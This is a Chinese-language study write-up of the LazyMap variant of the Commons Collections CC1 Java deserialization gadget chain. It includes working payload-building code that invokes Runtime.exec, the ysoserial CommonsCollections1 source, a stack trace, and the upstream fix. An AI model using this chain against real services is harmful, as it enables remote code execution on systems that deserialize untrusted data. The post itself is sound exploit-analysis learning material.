前景提要 https://lrui1.top/posts/7929b704/

CC1

上文调试了CC1关于TransformedMap.checkSetValue()触发ChainedTransformer.transform()的攻击链,但是之前对Transformer.transform()Find Usage时,还有两个Map:DefaultedMap、LazyMap

image.png

其中LazyMap就是CC1的另外一种形式,接下来我们分析下LazyMap

攻击链构造

ChainedTransformer

参考直接的构造 https://lrui1.top/posts/7929b704/#ChainedTransformer-1

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Test  
public void testTransform() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
chainedTransformer.transform("随便输入");
}

LazyMap

LazyMap.get代码如下

1
2
3
4
5
6
7
8
9
public Object get(Object key) {  
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

当map里不存在该元素时,会调用transform

该方法覆写了父类的get,作为其Map接口的实现方法,参考其构造函数

1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {  
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

不能直接访问,但是有一个静态方法,可创建LazyMap

1
2
3
public static Map decorate(Map map, Transformer factory) {  
return new LazyMap(map, factory);
}

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test  
public void testLazyMap() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
decorate.get("map不存在");
}

目前调用链

1
2
3
4
5
6
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

还需要继续往上找链——要找不是实现Map接口的其他类,调用这个Map.get()方法的类

使用Find Usage,查出来6580个results,找到猴年马月hh

image.png

站在前人的肩膀上,我们发现之前构造链中,AnnotationInvocationHandler.invoke方法存在调用Map.get行为

image.png

Holishift,分析一波

AnnotationInvocationHandler.invoke()

代码如下,memberValues.get()触发了Map.get()的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object invoke(Object proxy, Method method, Object[] args) {  
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

简单分析其逻辑:获取方法名,赋值给member,判断是否为equalstoStringhashCodeannotationType,都不是的话,调用memberValues.get(member),触发前面构造的攻击链

那么,什么情况下会触发这个invoke呢?根据描述,AnnotationInvocationHandler是用于实现注解(Annotation)动态代理的调用处理程序

动态代理是什么?——可参考 https://blog.csdn.net/qq_59219765/article/details/156390944

这边摘录一个比较重要的总结:

4.1 JDK 动态代理的核心原理

核心依赖:JDK 动态代理的核心是两个类,都在java.lang.reflect包下,无需额外引入依赖:
InvocationHandler:调用处理器,定义增强逻辑的核心接口,所有的前置 / 后置增强都写在这个接口的实现类中。

Proxy:代理类的生成器,通过Proxy.newProxyInstance()方法,在运行时动态生成代理对象。
实现要求:目标类必须实现一个或多个接口,JDK 动态代理只能代理「实现了接口的类」。
底层逻辑:JVM 通过反射,读取目标类实现的接口信息,在运行时动态生成一个代理类的字节码,这个代理类会实现和目标类相同的接口,内部持有InvocationHandler的引用,调用代理方法时,最终会转发到InvocationHandler的invoke方法中执行增强 + 目标方法。

AnnotationInvocationHandler.invoke() 触发流程如下:(来源于Gemini3 pro)

  1. 创建 Handler: 实例化 AnnotationInvocationHandler,传入一个注解类型(如 Override.class)和一个 Map(通常是存放注解属性值的 Map)。

  2. 创建 Proxy: 使用 Proxy.newProxyInstance 创建一个动态代理对象。这个代理对象“假装”实现了某个接口(比如 Map 接口或者某个注解接口),并将上面的 Handler 绑定给它。

  3. 调用方法: 只要调用这个代理对象的任意方法(例如 proxy.size()proxy.value()),JVM 就会自动跳转到 Handler 的 invoke 方法。

    • 此时,method.getName() 就是你调用的方法名(例如 “size”)。

    • 代码会执行 memberValues.get("size")

总结一句话:被动态代理的对象(使用A类代理对象B),B调用任何方法,都会调用A.invoke方法

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@Test  
public void testLazyMapAnno() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

// 反射构造AnnotationInvocationHandler
Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);

// 动态代理Map接口
Map map = (Map)Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);

map.isEmpty(); // 保证调用的该方法名,不在前面put的里面,即不是test
}

目前调用链如下

1
2
3
4
5
6
7
8
(Map)Proxy4.isEmpty()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

能弹计算器

image.png

AnnotationInvocationHandler.readObject()

我们之前也分析过它的readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void readObject(java.io.ObjectInputStream s)  
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

可以看到,readObject中存在memberValue调用方法,如果我们可以让AnnotationInvocationHandler代理memberValue,那么就可以进入到AnnotationInvocationHandler.invoke()方法,触发方法中Map.get的调用。

暂定利用条件如下

  1. AnnotationInvocationHandler属性值type,随便一个值
  2. AnnotationInvocationHandler属性值memberValues是AnnotationInvocationHandler代理LazyMap的对象

此时我们不需要关心for循环里的逻辑,在循环条件:memberValues.entrySet(),已经产生了代理调用,可以触发AnnotationInvocationHandler.invoke()方法了

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@Test  
public void testLazyMapCC1() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

// 反射构造AnnotationInvocationHandler
Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);

// 动态代理Map接口
Map map = (Map)Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);

Object payload = constructor.newInstance(Override.class, map);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC1.bin"));
ous.writeObject(payload);
System.out.println("ser successfully!");
}

public static void main(String[] args) throws Exception {
Scanner sc = new Scanner(System.in);
String s = sc.nextLine();
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));
Object o = ois.readObject();
ois.close();
System.out.println("unser successfully");
User user = (User) o;
System.out.println(user);
sc.close();
}

成功弹出计算器

image.png

至此,还有一个问题:动态代理创建的实例,为什么可以强制转换为Map?

Gemini:因为你调用 Proxy.newProxyInstance 时,第二个参数明确指定了该代理类必须实现 Map 接口。

1
2
3
4
5
Map map = (Map)Proxy.newProxyInstance(  
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);

当你运行这段代码时,JVM 在底层(内存中)做了以下几件事:

  1. 动态生成类字节码:JVM 动态生成了一个新的类(通常命名为 $Proxy0$Proxy1 等)。

  2. 强制实现接口:根据你传入的第二个参数 new Class[]{Map.class},JVM 让这个新生成的类声明实现 Map 接口

  3. 继承 Proxy:这个新类默认继承自 java.lang.reflect.Proxy

如果把 JVM 生成的这个 $Proxy0 类的源码“反编译”出来,它大概长这样(伪代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// JVM 动态生成的类
public final class $Proxy0 extends java.lang.reflect.Proxy implements java.util.Map {

// 构造函数,传入 handler
public $Proxy0(InvocationHandler handler) {
super(handler);
}

// 实现 Map 接口的所有方法
@Override
public int size() {
// 将调用转发给 handler.invoke
return (Integer) super.h.invoke(this, m3, null);
}

@Override
public Object get(Object key) {
// 将调用转发给 handler.invoke
return super.h.invoke(this, m4, new Object[] { key });
}

// ... 其他 Map 方法 ...
}

所有的Map接口的逻辑都会交给handle中的invoke处理

总结

调用链如下

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler.readObject() // kick-off gadget
(Map)Proxy4.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() // chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

程序调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响版本:

commons-collections : 3.1-3.2.1

jdk < 8u71

参考 https://xz.aliyun.com/news/8908#toc-1

ysoserial的实现思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@PayloadTest ( precondition = "isApplicableJavaVersion")  
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

主要是在getObject方法上,其主要思路就是利用LazyMap+AnnotationInvocationHandler结合动态代理,跟前文的调试思路是一样的。

修复措施

https://github.com/apache/commons-collections/commit/1642b00d67b96de87cad44223efb9ab5b4fb7be5#diff-9b5269539d9bbb441b9b61a41d4ee7faa0877e0b3ca328b9085b36506e95d780

通过重写InvokerTransformerreadObject方法来禁用其反序列化功能

默认情况下,“InvokerTransformer”的反序列化功能被禁用,因为该漏洞可被利用进行远程代码执行攻击。重新启用该功能,系统属性“org.apache.commons.collections.invokertransformer.enableSerialization”需要设置为“true”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/** System property key to enable de-serialization */
public final static String DESERIALIZE
= "org.apache.commons.collections.invokertransformer.enableDeserialization";

/**
* Overrides the default readObject implementation to prevent
* de-serialization (see COLLECTIONS-580).
*/
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
String deserializeProperty;

try {
deserializeProperty =
(String) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty(DESERIALIZE);
}
});
} catch (SecurityException ex) {
deserializeProperty = null;
}

if (deserializeProperty == null || !deserializeProperty.equalsIgnoreCase("true")) {
throw new UnsupportedOperationException("Deserialization of InvokerTransformer is disabled, ");
}

is.defaultReadObject();
}

写在最后

关于已存在的反序列化链CC1总算是调试完了,也学习到了一些对反序列化链的挖掘,利用的思路,可能目前还做不到挖掘一条链,不过我觉得现在可以做到分析别人挖掘出的链就已经很好了

接下来继续调试CC系列反序列化链,坚持年前调完

参考链接

https://www.freebuf.com/articles/web/214096.html